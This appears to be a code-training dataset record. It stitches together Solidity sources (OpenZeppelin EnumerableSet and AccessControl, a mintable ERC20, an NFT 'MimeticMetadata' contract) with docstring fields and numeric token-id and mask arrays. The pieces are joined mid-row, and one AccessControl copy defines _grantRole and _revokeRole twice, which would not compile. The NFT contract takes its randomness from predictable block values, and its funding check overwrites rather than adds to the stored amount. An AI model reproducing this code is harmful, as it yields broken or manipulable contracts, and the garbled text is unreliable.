// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/common/AccessControlMixin.sol
pragma solidity 0.6.6;
contract AccessControlMixin is AccessControl {
string private _revertMsg;
function _setupContractId(string memory contractId) internal {
_revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS"));
}
modifier only(bytes32 role) {
require(
hasRole(role, _msgSender()),
_revertMsg
);
_;
}
}
// File: contracts/root/RootToken/DummyMintableERC20.sol
pragma solidity 0.6.6;
contract MintableERC20 is
ERC20,
AccessControlMixin,
NativeMetaTransaction,
ContextMixin,
IMintableERC20
{
bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE");
constructor(string memory name_, string memory symbol_, address predicateProxy_)
public
ERC20(name_, symbol_)
{
_setupContractId("MintableERC20");
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, predicateProxy_);
_initializeEIP712(name_);
}
/**
* @dev See {IMintableERC20-mint}.
*/
function mint(address user, uint256 amount) external override only(PREDICATE_ROLE) {
_mint(user, amount);
}
function _msgSender()
internal
override
view
returns (address payable sender)
{
return ContextMixin.msgSender();
}
} | * @dev Contract module that allows children to implement role-based access control mechanisms. Roles are referred to by their `bytes32` identifier. These should be exposed in the external API and be unique. The best way to achieve this is by using `public constant` hash digests: ``` bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); ``` Roles can be used to represent a set of permissions. To restrict access to a function call, use {hasRole}: ``` function foo() public { require(hasRole(MY_ROLE, msg.sender)); ... } ``` Roles can be granted and revoked dynamically via the {grantRole} and {revokeRole} functions. Each role has an associated admin role, and only accounts that have a role's admin role can call {grantRole} and {revokeRole}. By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means that only accounts with this role will be able to grant or revoke other roles. More complex role relationships can be created by using {_setRoleAdmin}. WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to grant and revoke this role. Extra precautions should be taken to secure accounts that have been granted it./ | abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
| 11,742,692 | [
1,
8924,
1605,
716,
5360,
2325,
358,
2348,
2478,
17,
12261,
2006,
3325,
1791,
28757,
18,
19576,
854,
29230,
358,
635,
3675,
1375,
3890,
1578,
68,
2756,
18,
8646,
1410,
506,
16265,
316,
326,
3903,
1491,
471,
506,
3089,
18,
1021,
3796,
4031,
358,
20186,
537,
333,
353,
635,
1450,
1375,
482,
5381,
68,
1651,
5403,
87,
30,
31621,
1731,
1578,
1071,
5381,
22069,
67,
16256,
273,
417,
24410,
581,
5034,
2932,
22114,
67,
16256,
8863,
31621,
19576,
848,
506,
1399,
358,
2406,
279,
444,
434,
4371,
18,
2974,
13108,
2006,
358,
279,
445,
745,
16,
999,
288,
5332,
2996,
6713,
31621,
445,
8431,
1435,
1071,
288,
377,
2583,
12,
5332,
2996,
12,
22114,
67,
16256,
16,
1234,
18,
15330,
10019,
377,
1372,
289,
31621,
19576,
848,
506,
17578,
471,
22919,
18373,
3970,
326,
288,
16243,
2996,
97,
471,
288,
9083,
3056,
2996,
97,
4186,
18,
8315,
2478,
711,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
17801,
6835,
24349,
353,
1772,
288,
203,
225,
1450,
6057,
25121,
694,
364,
6057,
25121,
694,
18,
1887,
694,
31,
203,
225,
1450,
5267,
364,
1758,
31,
203,
203,
203,
203,
225,
1958,
6204,
751,
288,
203,
565,
6057,
25121,
694,
18,
1887,
694,
4833,
31,
203,
565,
1731,
1578,
3981,
2996,
31,
203,
225,
289,
203,
203,
225,
2874,
261,
3890,
1578,
516,
6204,
751,
13,
3238,
389,
7774,
31,
203,
203,
225,
1731,
1578,
1071,
5381,
3331,
67,
15468,
67,
16256,
273,
374,
92,
713,
31,
203,
203,
203,
203,
203,
225,
871,
6204,
4446,
5033,
12,
3890,
1578,
8808,
2478,
16,
1731,
1578,
8808,
2416,
4446,
2996,
16,
1731,
1578,
8808,
394,
4446,
2996,
1769,
203,
225,
871,
6204,
14570,
12,
3890,
1578,
8808,
2478,
16,
1758,
8808,
2236,
16,
1758,
8808,
5793,
1769,
203,
225,
871,
6204,
10070,
14276,
12,
3890,
1578,
8808,
2478,
16,
1758,
8808,
2236,
16,
1758,
8808,
5793,
1769,
203,
225,
445,
28335,
12,
3890,
1578,
2478,
16,
1758,
2236,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
565,
327,
389,
7774,
63,
4615,
8009,
7640,
18,
12298,
12,
4631,
1769,
203,
225,
289,
203,
203,
225,
445,
15673,
4419,
1380,
12,
3890,
1578,
2478,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
389,
7774,
63,
4615,
8009,
7640,
18,
2469,
5621,
203,
225,
289,
203,
203,
225,
445,
15673,
4419,
12,
3890,
1578,
2478,
16,
2254,
5034,
770,
13,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
565,
327,
389,
2
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IMimeticMetadata } from "./Modules/IMimeticMetadata.sol";
import { MimeticMetadataProcessor } from "./MimeticMetadataProcessor.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import "hardhat/console.sol";
error GenerationNotReady();
error GenerationAlreadyLoaded();
error GenerationNotDifferent();
error GenerationNotEnabled();
error GenerationNotDowngradable();
error GenerationNotToggleable();
error GenerationCostMismatch();
error GenerationDepthExceeded();
error TokenNotRevealed();
error TokenRevealed();
contract MimeticMetadata is
IMimeticMetadata
,Ownable
,MimeticMetadataProcessor
{
using Strings for uint256;
uint256 public maxSupply;
mapping(uint256 => Generation) public generations;
mapping(uint256 => uint256) tokenToGeneration;
mapping(bytes32 => uint256) tokenGenerationToFunded;
/**
* @notice Allows the project owner to establish a new generation. Generations are enabled by
* default. With this we initialize the generation to be loaded.
* @dev _name is passed as a param, if this is not needed; remove it. Don't be superfluous.
* @dev only accessed by owner of contract
* @param _layerId the z-depth of the metadata being loaded
* @param _enabled a generation can be connected before a token can utilize it
* @param _locked can this layer be disabled by the project owner
* @param _sticky can this layer be removed by the holder
* @param _cost the focus cost
* @param _evolutionClosure if set to zero, disabled. If not set to zero is the last timestamp
* at which someone can focus this generation
* @param _cpws the probabilistic weight
*/
function loadGeneration(
uint256 _layerId
,bool _enabled // evolution creator state
,bool _locked // evolution creator state
,bool _sticky // evolution holder state
,uint256 _cost // evolution availability
,uint256 _evolutionClosure // evolution availability
,uint256[] memory _cpws
,string memory _ipfsRendererHash
)
override
public
virtual
onlyOwner
{
Generation storage generation = generations[_layerId];
// Make sure that we are not overwriting an existing layer.
if(generation.loaded) revert GenerationAlreadyLoaded();
generation.loaded = true;
/// @dev evolution states
generation.enabled = _enabled;
generation.locked = _locked;
generation.sticky = _sticky;
generation.cost = _cost;
generation.evolutionClosure = _evolutionClosure;
generation.offset = 0;
generation.top = 0;
/// @dev metadata
generation.cpws = _cpws;
generation.ipfsRendererHash = _ipfsRendererHash;
}
/**
* @notice Used to load the front-end on-chain metadata for a token. This includes all visual
* apperance aspects such as name, type, pixels and the pixel count. So essentially,
* this is where the core metadata is loaded however none of the odds/probabilities
* are calculated here this is merely a data dictionary that needs to be initialized.
* @dev To pass an array of traits you just do [(,,,),(,,,),(,,,)] with the values filled in.
* @dev A maximum of 8 trait types can exist per generation
* @param _generationLayer the generation this trait is for
* @param _traitTypeLayer which layer of rendering this type is found
* @param _traits the list of traits being loaded into this attribute
*/
function loadTraitType(
uint256 _generationLayer
,uint256 _traitTypeLayer
,string calldata _traitTypeName
,string[] calldata _traits
)
public
virtual
onlyOwner
{
Generation storage generation = generations[_generationLayer];
for(uint256 i; i < _traits.length; i++) {
generation.traitTypes[_traitTypeLayer].push(
Trait(
_traits[i] // trait name
,_traitTypeName // attribute name
)
);
}
}
/**
* @notice Used to toggle the state of a generation. Disable generations cannot be focused by
* token holders.
*/
function toggleGeneration(
uint256 _layerId
)
override
public
virtual
onlyOwner
{
Generation storage generation = generations[_layerId];
// Make sure that the token isn't locked (immutable but overlapping keywords is spicy)
if(generation.enabled && generation.locked) revert GenerationNotToggleable();
generations[_layerId].enabled = !generation.enabled;
}
/**
* @notice Allows any user to see the layer that a token currently has enabled.
*/
function _getTokenGeneration(
uint256 _tokenId
)
internal
virtual
view
returns(
uint256
)
{
return tokenToGeneration[_tokenId];
}
/**
* @notice Generates a psuedo-random number that is to be used for the
* metadata offset. In production, this realistically should be an
* implementation with VRF (Chainlink). It is incredibly easy to setup
* and use, additionally with this structure there is no reason it needs
* to be expensive.
* @dev A focus of psuedo-random number quality has not been a focus. In order for
* for the modulus to even return a fair chance for all #s it must be a
* power of 2.
* @param _layerId the generation the offset is used for.
*/
function _getOffset(
uint256 _layerId
)
internal
view
returns (
uint256
)
{
return uint256(
keccak256(
abi.encodePacked(
msg.sender
,_layerId
,block.number
,block.difficulty
)
)
) % maxSupply + 1;
}
/**
* @notice Allows for generation-level reveal. That means that just because the assets
* in Generation Zero have been revealed, Generation One is not revealed. The
* reveal mechanisms of them are entirely separate. Precisely like a normal
* ERC721 token.
* @notice Cannot be reverted once a token has been revealed. No mutable metadata!
* @dev With this implementation it is vital that you implement and utilize an offset.
* This is not something that you can skip because you don't want to work
* with Chainlink or another VRF method. Even if not VRF, you must implement
* at least a generally fair offset mechanism. Holders for the most part
* do not know how Solidity works. That does not mean you take advantage of that.
* @param _layerId the generation that is being revealed
* @param _topTokenId the highest token id to be revealed
*/
function setRevealed(
uint256 _layerId
,uint256 _topTokenId
)
override
public
virtual
onlyOwner
{
Generation storage generation = generations[_layerId];
// Make sure the generation has been loaded and enabled
if(!generation.loaded || !generation.enabled) revert GenerationNotEnabled();
// Make sure that the amount of tokens revealed is not being lowered
if(_topTokenId < generation.top) revert TokenRevealed();
// Make sure that we create the offset the first time a generation is revealed
if(generation.offset == 0) {
generation.offset = _getOffset(_layerId);
}
// Finally set the top token of the generation
generation.top = _topTokenId;
}
/**
* @notice Function that controls which metadata the token is currently utilizing.
* By default every token is using layer zero which is loaded during the time
* of contract deployment. Cannot be removed, is immutable, holders can always
* revert back. However, if at any time they choose to "wrap" their token then
* it is automatically reflected here.
* @notice Errors out if the token has not yet been revealed within this collection.
* @param _tokenId the token we are getting the URI for
* @return _tokenURI The internet accessible URI of the token
*/
function _tokenURI(
uint256 _tokenId
)
internal
virtual
view
returns (
string memory
)
{
uint256 tokenGeneration = tokenToGeneration[_tokenId];
// Make sure that the token has been revealed
Generation storage generation = generations[tokenGeneration];
// if not revealed utilize placeholder initialized data
if(_tokenId > generation.top) return "";
string memory metadataString = string(
abi.encodePacked(
'{"trait_value":"Generation","value": "'
,tokenGeneration.toString()
,'"},'
)
);
uint256 seed = getRandomNumber(
tokenGeneration
,_tokenId
);
// Assemble the metadata of the token
for(uint256 z; z < generation.cpws.length; z++) {
// Retrieve the trait
uint256 shift = z * 8;
uint256 traitIndex = getRandomTrait(
generation.cpws[z]
,seed >> shift
);
Trait storage trait = generation.traitTypes[z][traitIndex];
// Build the object data for the trait
metadataString = string(
abi.encodePacked(
metadataString
,string(
abi.encodePacked(
'{"trait_type":"'
,trait.traitType
,'","value":"'
,trait.traitName
,'"}'
)
)
)
);
// Make sure we have our trailing commas when needed
if(z != generation.cpws.length - 1) {
metadataString = string(
abi.encodePacked(
metadataString
,string(
abi.encodePacked(
","
)
)
)
);
}
}
// Build finalized token metadata
string memory attributesString = string(
abi.encodePacked(
"["
,metadataString
,"]"
)
);
// Append and return the collection data while wrapping it as JSON
return string(
abi.encodePacked(
"data:application/json;base64,"
,encode(
bytes(
string(
abi.encodePacked(
'{"name": "Mimetic Metadata #'
,_tokenId.toString()
,'", "description": "Mimetic Metadata enables the on-chain evolution of NFT tokens. The Generation '
,tokenGeneration.toString()
,' DNA of your character is: '
,seed.toString()
,'","image":"ipfs://'
,generation.ipfsRendererHash
,'/?dna='
,seed.toString()
,'", "attributes":'
,attributesString
,'}'
)
)
)
)
)
);
}
/**
* @notice Internal view function to clean up focusGeneration(). Pretty useless but the
* function was getting out of control.
*/
function _generationEnabled(Generation storage generation)
internal
view
returns (
bool
)
{
if(!generation.enabled) return false;
if(generation.evolutionClosure != 0) return block.timestamp < generation.evolutionClosure;
return true;
}
/**
* @notice Function that allows token holders to focus a generation and wear their skin.
* This is not in control of the project maintainers once the layer has been
* initialized.
* @dev This function is utilized when building supporting functions around the concept of
* extendable metadata. For example, if Doodles were to drop their spaceships, it would
* be loaded and then enabled by the holder through this function on a front-end.
* @param _layerId the layer that this generation belongs on. The bottom is zero.
* @param _tokenId the token that we are updating the metadata for
*/
function _focusGeneration(
uint256 _layerId
,uint256 _tokenId
)
internal
virtual
{
// TODO: Add the ability to limit focus of a generation if you have evolved to a whitelisted generation
// Should probably check if they've funded it yet
uint256 activeGenerationLayer = tokenToGeneration[_tokenId];
if(activeGenerationLayer == _layerId) revert GenerationNotDifferent();
// Make sure that the generation has been enabled
Generation storage generation = generations[_layerId];
if(!_generationEnabled(generation)) revert GenerationNotEnabled();
// Make sure a user can't take off a sticky generation
if(generations[activeGenerationLayer].sticky && _layerId < activeGenerationLayer) revert GenerationNotDowngradable();
// Make sure they've supplied the right amount of money to unlock access
bytes32 tokenIdGeneration = keccak256(abi.encodePacked(_tokenId, _layerId));
if(msg.value + tokenGenerationToFunded[tokenIdGeneration] != generation.cost) revert GenerationCostMismatch();
tokenGenerationToFunded[tokenIdGeneration] = msg.value;
// Finally evolve to the generation
tokenToGeneration[_tokenId] = _layerId;
emit GenerationChange(
_layerId
,_tokenId
);
}
} | Finally set the top token of the generation | generation.top = _topTokenId;
| 6,368,943 | [
1,
29987,
444,
326,
1760,
1147,
434,
326,
9377,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
9377,
18,
3669,
273,
389,
3669,
1345,
548,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x86035EE80e73B5315E05740fCfad8cd7205533b0/sources/project_/contracts/QBE.sol | WRITE FUNCTIONS get tokenURI | function tokenURI(uint256 tokenId) public view override returns (string memory) {
return metadata.tokenURI(tokenId);
}
| 5,696,109 | [
1,
11677,
13690,
55,
336,
1147,
3098,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
